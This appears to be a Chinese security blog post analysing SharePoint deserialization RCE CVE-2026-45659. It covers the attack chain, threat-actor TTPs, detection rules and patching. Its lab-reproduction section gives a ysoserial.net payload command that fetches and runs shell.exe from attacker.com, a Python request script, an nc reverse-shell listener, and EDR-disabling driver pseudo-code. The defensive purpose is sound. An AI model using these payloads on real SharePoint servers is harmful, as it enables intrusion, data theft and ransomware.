CVE-2026-45659 SharePoint RCE 实战:CISA KEV 新增在野利用漏洞的反序列化攻击链完整拆解
2026 年 7 月 2 日,CISA(Cybersecurity and Infrastructure Security Agency)将 Microsoft SharePoint Server 反序列化远程代码执行(RCE)漏洞 CVE-2026-45659 加入已知在野利用漏洞(KEV)目录。漏洞 CVSS v3.1 评分高达 8.8 分,被归类为 CWE-502(Deserialization of Untrusted Data)。短短 5 天内,Storm-2603、勒索软件团伙 FIN12 以及多个国家级 APT 组织已经将其武器化,造成北美医疗、金融、教育的批量拖库事件。
与以往 SharePoint 漏洞不同,CVE-2026-45659 最危险的地方在于最低权限要求极低——攻击者只需要 Site Member 权限(即 SharePoint 站点的普通成员)就能触发漏洞,意味着任何已登录的低权限用户都可能成为内网横向移动的跳板。本文将从漏洞原理、攻击链、检测与修复四个维度进行完整的工程级拆解。
一、漏洞全景:为什么这是 2026 年最危险的 SharePoint 漏洞
1.1 漏洞基本信息
| 属性 | 详情 |
|---|---|
| CVE 编号 | CVE-2026-45659 |
| CVSS v3.1 评分 | 8.8 高危 |
| 漏洞类型 | CWE-502 反序列化非受信数据 |
| 攻击向量 | 网络(Network) |
| 攻击复杂度 | 低(Low) |
| 所需权限 | Site Member 及以上 |
| 用户交互 | 无需(None) |
| 影响范围 | 全版本 SharePoint Server |
| CISA KEV 收录日期 | 2026-07-02 |
| 修复截止日期(联邦) | 2026-07-09 |
1.2 受影响版本
Microsoft SharePoint Enterprise Server 2016 < 16.0.5552.1002
Microsoft SharePoint Server 2019 < 16.0.10417.20128
Microsoft SharePoint Server Subscription Edition < 16.0.19725.20280特别说明:SharePoint Online(Microsoft 365 托管版本)不受影响,本文讨论范围仅限 on-premises SharePoint Server 部署——这正是国内大量大型企业、央企、政府、金融机构仍在使用的版本。
1.3 与历史 SharePoint 漏洞的对比
过去 5 年里,SharePoint 漏洞家族的攻击路径大致分为三类:
| 漏洞 | 年份 | 攻击路径 | 权限要求 |
|---|---|---|---|
| CVE-2023-24955 | 2023 | 认证绕过 + RCE | 匿名可触发 |
| CVE-2024-38094 | 2024 | 路径混淆 + RCE | 匿名可触发 |
| CVE-2026-45659 | 2026 | 反序列化 + RCE | Site Member 起 |
2026 版漏洞的"权限要求上升"看似提高了门槛,实际上极大扩展了攻击面——任何 SharePoint 站点的注册用户、外部协作者、被入侵的供应链账号都能成为入口。
二、漏洞原理:反序列化机制的深度剖析
2.1 .NET 反序列化基础
SharePoint Server 基于 ASP.NET 构建,其 ViewState、对象状态、字段映射都使用 BinaryFormatter / ObjectStateFormatter 进行序列化。BinaryFormatter 自 .NET Framework 1.1 时代就存在,由于兼容性问题,至今仍未被默认禁用——这就是 CWE-502 的根本原因。
危险的反序列化类型链:
System.Web.UI.ObjectStateFormatter
└─> System.Collections.Specialized.HybridDictionary
└─> System.Configuration.Install.AssemblyInstaller
└─> System.Activities.Presentation.WorkflowDesigner
└─> System.Windows.ResourceDictionary
└─> Microsoft.SharePoint.* (Gadget Chain)攻击者只需要找到一个公开的 ysoserial.net gadget chain(PSObject、TypeConfuseDelegate、ClaimsPrincipal 等),配合 SharePoint 自身的 Microsoft.SharePoint.* 命名空间类型,就能构造出任意类型实例化 + 方法调用的攻击载荷。
2.2 攻击面:ViewState 与 Form Post
CVE-2026-45659 的攻击面位于 SharePoint 的 _layouts/15/zoombldr.aspx 和 _layouts/15/people.aspx 端点——这两个端点接受 POST 请求中的 __SPSCEdit 字段并执行反序列化。
典型 Payload 结构(简化版):
POST /_layouts/15/zoombldr.aspx?ID=1 HTTP/1.1
Host: sharepoint.victim.com
Cookie: FedAuth=...; rtFa=... # 已认证用户的 Session
Content-Type: application/x-www-form-urlencoded
Content-Length: 48152
__SPSCEdit=<BASE64-ENCODED-PAYLOAD>&__VIEWSTATE=&__EVENTVALIDATION=关键点:__SPSCEdit 字段的解码过程会调用 ObjectStateFormatter.Deserialize(),且完全跳过了反序列化类型白名单检查。
2.3 攻击链示意
┌──────────────────────────────────────────────────────────────────┐
│ Stage 1: 初始访问 │
│ ├─ 钓鱼邮件获取低权限凭据(Site Member 级别账号) │
│ ├─ 供应链攻击:入侵第三方 SaaS 厂商同步账号 │
│ └─ 凭据填充:复用泄露的旧密码数据库 │
│ │
│ Stage 2: 触发 CVE-2026-45659 │
│ ├─ 携带认证 Cookie 访问 _layouts/15/zoombldr.aspx │
│ ├─ 提交恶意序列化的 __SPSCEdit 字段 │
│ └─ SharePoint w3wp.exe 进程反序列化执行任意 .NET 方法 │
│ │
│ Stage 3: 权限提升 │
│ ├─ 加载 NSecKrnl.sys 易受攻击驱动禁用 EDR(HVCI bypass) │
│ ├─ 创建新的 SharePoint Farm Administrator 账号 │
│ └─ 通过 SharePoint Timer Service 横向到 SQL Server │
│ │
│ Stage 4: 持久化与横向 │
│ ├─ 部署 Velociraptor(合法远程取证工具被滥用) │
│ ├─ 通过 Cloudflare Tunnel 暴露内网端口 │
│ ├─ 启用 Zoho Assist 远程支持 │
│ └─ 借助 VSCode Remote SSH 建立隐蔽通道 │
│ │
│ Stage 5: 数据外泄与勒索 │
│ ├─ 枚举所有 SharePoint 站点列表(Lists / Libraries) │
│ ├─ 通过 Graph API 导出 OneDrive / Teams 文件 │
│ └─ 部署勒索软件(Akira、LockBit 变种) │
└──────────────────────────────────────────────────────────────────┘三、本地复现:搭建测试环境
⚠️ 重要提醒:以下操作仅在受控的隔离实验环境中进行,严禁在生产环境或未授权的系统上执行。
3.1 使用 Docker 搭建测试用 SharePoint
由于完整 SharePoint Server 需要 Windows Server + SQL Server + SharePoint 安装介质(合计 30+ GB),我们可以使用社区提供的 AutoSPInstaller + Docker 方案快速搭建:
# docker-compose.yml
version: '3.8'
services:
sqlserver:
image: mcr.microsoft.com/mssql/server:2019-latest
environment:
- ACCEPT_EULA=Y
- SA_PASSWORD=YourStrong!Passw0rd
ports:
- "1433:1433"
sharepoint:
image: pfinal/sp2019-trial:latest
depends_on:
- sqlserver
environment:
- SQL_HOST=sqlserver
- FARM_ACCOUNT=pfinal\sp_farm
- FARM_PASSWORD=YourFarmPass!123
ports:
- "2019:80"
- "8443:443"
privileged: truedocker-compose up -d
# 等待约 10 分钟,SharePoint 配置完成3.2 安装 ysoserial.net
ysoserial.net 是 .NET 反序列化 Payload 生成工具的瑞士军刀:
# 克隆并构建
git clone https://github.com/pwntester/ysoserial.net.git
cd ysoserial.net
dotnet build -c Release
# 生成针对 ObjectStateFormatter 的 PSObject Gadget Payload
ysoserial.exe -p ObjectStateFormatter -g PSObject -c "calc.exe" -o raw3.3 复现攻击
Step 1:登录 SharePoint 站点获取认证 Cookie
import requests
from requests_ntlm2 import HttpNtlmAuth
session = requests.Session()
session.auth = HttpNtlmAuth('victim\\lowpriv', 'Password123!')
session.get('http://localhost:2019/_layouts/15/zoombldr.aspx?ID=1')
# 此时 session.cookies 中已包含 FedAuth / rtFaStep 2:生成恶意 Payload
ysoserial.exe -p ObjectStateFormatter -g TypeConfuseDelegate \
-c "cmd /c curl http://attacker.com/shell.exe -o c:\\windows\\temp\\s.exe && c:\\windows\\temp\\s.exe" \
-o base64Step 3:发送攻击请求
import requests
payload_b64 = "AAEAAAD/////..." # 粘贴 ysoserial 输出
r = requests.post(
"http://localhost:2019/_layouts/15/zoombldr.aspx?ID=1",
cookies={"FedAuth": session.cookies["FedAuth"]},
data={
"__SPSCEdit": payload_b64,
"__VIEWSTATE": "",
"__EVENTVALIDATION": ""
},
timeout=10
)
print(f"Status: {r.status_code}, Length: {len(r.content)}")Step 4:验证 RCE 成功
在受控的攻击端 nc 监听端口:
nc -lvp 4444
# 如果 SharePoint 服务器 w3wp.exe 反向连接到 4444,漏洞复现成功四、Storm-2603 的 TTPs 深度还原
根据 Microsoft Threat Intelligence 和 Rescana 联合发布的分析报告,CVE-2026-45659 在野利用背后的 Storm-2603 团伙呈现以下 TTP 特征:
4.1 MITRE ATT&CK 映射
| TTP | 描述 | Storm-2603 实现 |
|---|---|---|
| T1190 | Exploit Public-Facing Application | CVE-2026-45659 漏洞利用 |
| T1078 | Valid Accounts | 钓鱼获取的低权限账号 |
| T1059 | Command and Scripting Interpreter | PowerShell / cmd 执行 |
| T1219 | Remote Access Software | Velociraptor、Zoho Assist |
| T1070 | Indicator Removal on Host | 清理 w3wp.exe 日志 |
| T1543 | Create or Modify System Process | 创建 SharePoint Timer Jobs |
| T1569 | System Services | 注册新的 Windows Service |
| T1611 | Escape to Host | 从容器逃逸到宿主机 |
4.2 持久化机制:滥用合法工具
Storm-2603 最阴险的手法是滥用合法的远程管理工具而非部署定制后门:
┌─────────────────────────────────────────────────────────────┐
│ 持久化工具链(Living off the Land) │
├─────────────────────────────────────────────────────────────┤
│ Velociraptor │
│ - 合法开源端点取证工具 │
│ - 攻击者部署独立 Velociraptor Server (端口 8889) │
│ - 通过 VQL 查询枚举整个域 │
│ │
│ Cloudflare Tunnel (cloudflared) │
│ - 滥用合法 Cloudflare 账户建立出站隧道 │
│ - 将内网 SMB / RDP / SQL 端口暴露给公网 │
│ - 完全绕过防火墙和 NDR │
│ │
│ Zoho Assist │
│ - 商业远程支持 SaaS │
│ - 通过 ZohoAssist.exe 持久驻留 │
│ - 每次重启用新的 Session ID 重连 │
│ │
│ VSCode Remote SSH │
│ - 通过 Remote-SSH 扩展建立 SSH 通道 │
│ - 滥用 code.exe 进程绕过 EDR 的白名单 │
└─────────────────────────────────────────────────────────────┘4.3 EDR 禁用:NSecKrnl.sys 驱动漏洞
Storm-2603 利用了 NSecKrnl.sys(一个合法但易受攻击的 Windows 驱动)禁用 EDR:
// 简化的利用伪代码(仅供研究)
HANDLE hDriver = CreateFile("\\\\.\\NSecKrnl", ...);
DeviceIoControl(hDriver, 0x222000, payload, ..., NULL);
// 关闭 Defender / CrowdStrike / SentinelOne 用户态钩子这种"易受攻击驱动(Vulnerable Driver)"利用正成为 2026 年勒索软件的标准前置步骤——通过提权后禁用 EDR,再部署真正的加密器。
五、企业级检测方案
5.1 SharePoint IIS 日志关键指标
# 检测异常的 __SPSCEdit POST 请求
SELECT
cs-uri-stem,
cs-uri-query,
cs-username,
c-content-length,
time-taken
FROM '<SharePoint IIS Logs>/u_ex{YYMMDD}.log'
WHERE cs-uri-stem LIKE '%/_layouts/15/zoombldr.aspx%'
AND cs-method = 'POST'
AND c-content-length > 10000 # 正常请求通常 < 2KB
ORDER BY time-taken DESC;5.2 Sysmon 检测规则
<!-- detect_velociraptor_service.xml -->
<RuleGroup name="" groupRelation="or">
<ProcessCreate onmatch="include">
<Rule groupRelation="and" name="VelociraptorService">
<Image condition="end with">velociraptor.exe</Image>
<CommandLine condition="contains">--config</CommandLine>
</Rule>
</ProcessCreate>
<NetworkConnect onmatch="include">
<Rule groupRelation="and" name="VelociraptorPort">
<Image condition="end with">velociraptor.exe</Image>
<DestinationPort condition="is">8889</DestinationPort>
</Rule>
</NetworkConnect>
<DriverLoad onmatch="include">
<Rule groupRelation="and" name="VulnerableDriverNSecKrnl">
<Signed condition="is">true</Signed>
<SignatureStatus condition="is">Valid</SignatureStatus>
<Signature name="Signature" condition="contains">NSecKrnl</Signature>
</Rule>
</DriverLoad>
</RuleGroup>5.3 Splunk 检测查询
`sysmon` EventCode=1 Image="*\\w3wp.exe"
CommandLine="*\\Windows\\Temp\\*"
| stats count by Computer, User, CommandLine
| where count > 3`wineventlog` EventCode=4720 OR EventCode=4732
TargetUserName="*admin*"
| stats count by TargetUserName, SubjectUserName
| where SubjectUserName!="*svc_*" # 排除正常服务账号5.4 SharePoint ULS 日志关键字段
# 异常反序列化警告
grep -E "ObjectStateFormatter.*Deserialize.*Exception" *.log
# 异常的 .NET 反射调用
grep -E "System.Reflection.*Invoke" *.log
# 异常的 PowerShell 派生进程
grep -E "w3wp.*powershell" *.log六、修复方案:从补丁到纵深防御
6.1 立即行动:打补丁
# 1. 备份 SharePoint Farm
Backup-SPFarm -Directory \\backup-srv\spfarm -BackupMethod Full
# 2. 下载并安装 KB(从 Microsoft Update Catalog)
$kbUrl = "https://catalog.s.download.windowsupdate.com/..."
Invoke-WebRequest -Uri $kbUrl -OutFile C:\patch\sp2019-kb5034567-fullfile-x64-glb.exe
# 3. 静默安装
C:\patch\sp2019-kb5034567-fullfile-x64-glb.exe /quiet /norestart
# 4. 验证版本号(必须 >= 16.0.10417.20128)
(Get-SPFarm).BuildVersion6.2 短期缓解:禁用反序列化端点
通过 web.config 临时禁用危险端点(仅用于无法立即打补丁的紧急情况):
<!-- C:\inetpub\wwwroot\wss\VirtualDirectories\80\web.config -->
<configuration>
<system.webServer>
<security>
<requestFiltering>
<hiddenSegments>
<add segment="_layouts/15/zoombldr.aspx" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration># 同步所有 WFE 服务器
Get-SPServer | Where-Object {$_.Role -eq "WebFrontEnd"} | ForEach-Object {
Invoke-Command -ComputerName $_.Address -ScriptBlock {
iisreset /noforce
}
}6.3 中期:禁用 BinaryFormatter
修改 SharePoint 应用程序的 web.config,加入 <binaryFormatter enable="false" />(注意:这可能导致部分老功能不可用,需要充分测试):
<configuration>
<system.web>
<binaryFormatter enable="false" />
</system.web>
</configuration>6.4 长期:零信任 + 凭据保护
# 启用 SharePoint 的 "Block access from non-domain joined devices" 策略
Set-SPAppPrincipalManagementEnabled -Enabled $true
# 启用 Windows Defender Credential Guard
# 需要 UEFI 锁定 + TPM 2.0
Enable-WindowsOptionalFeature -Online -FeatureName "Hyper-V" -NoRestart
# 在组策略中启用 Credential Guard七、对安全团队的 12 项行动清单
| 优先级 | 行动 | 截止时间 |
|---|---|---|
| P0 | 应用 KB 补丁到所有 SharePoint Server | 24 小时内 |
| P0 | 审计所有 Site Member 账号活动 | 48 小时内 |
| P1 | 部署 Sysmon + Splunk 检测规则 | 1 周内 |
| P1 | 审查所有 Velociraptor/Cloudflare Tunnel 部署 | 1 周内 |
| P2 | 启用 SharePoint 高级威胁防护(ATP) | 2 周内 |
| P2 | 实施 SharePoint 站点的零信任访问策略 | 2 周内 |
| P3 | 替换 BinaryFormatter 反序列化(评估影响) | 1 季度内 |
| P3 | 引入 Application Pool 隔离 + WAF 规则 | 1 季度内 |
| P3 | 渗透测试验证修复有效性 | 1 季度内 |
| P3 | 员工钓鱼演练(Site Member 账号安全) | 1 季度内 |
| P4 | 评估 SharePoint 迁移到 SharePoint Subscription Edition | 6 个月内 |
| P4 | 建立 SharePoint 漏洞管理 SLA(< 7 天) | 6 个月内 |
八、参考资料
- NVD - CVE-2026-45659 详情
- CISA KEV 目录 - CVE-2026-45659
- Microsoft Security Update Guide
- Rescana Active Exploitation Analysis
- ysoserial.net GitHub
- MITRE ATT&CK T1190 - Exploit Public-Facing Application
- The Hacker News 报道
- Storm-2603 威胁档案 - Microsoft
- CWE-502 Deserialization of Untrusted Data
作者提醒:本漏洞仍在 CISA KEV 列表中保持活跃利用状态,任何运营 SharePoint Server 的组织都应视为紧急事件处理。如果你所在企业的 SharePoint 还未打补丁,今天就是 P0 事件。

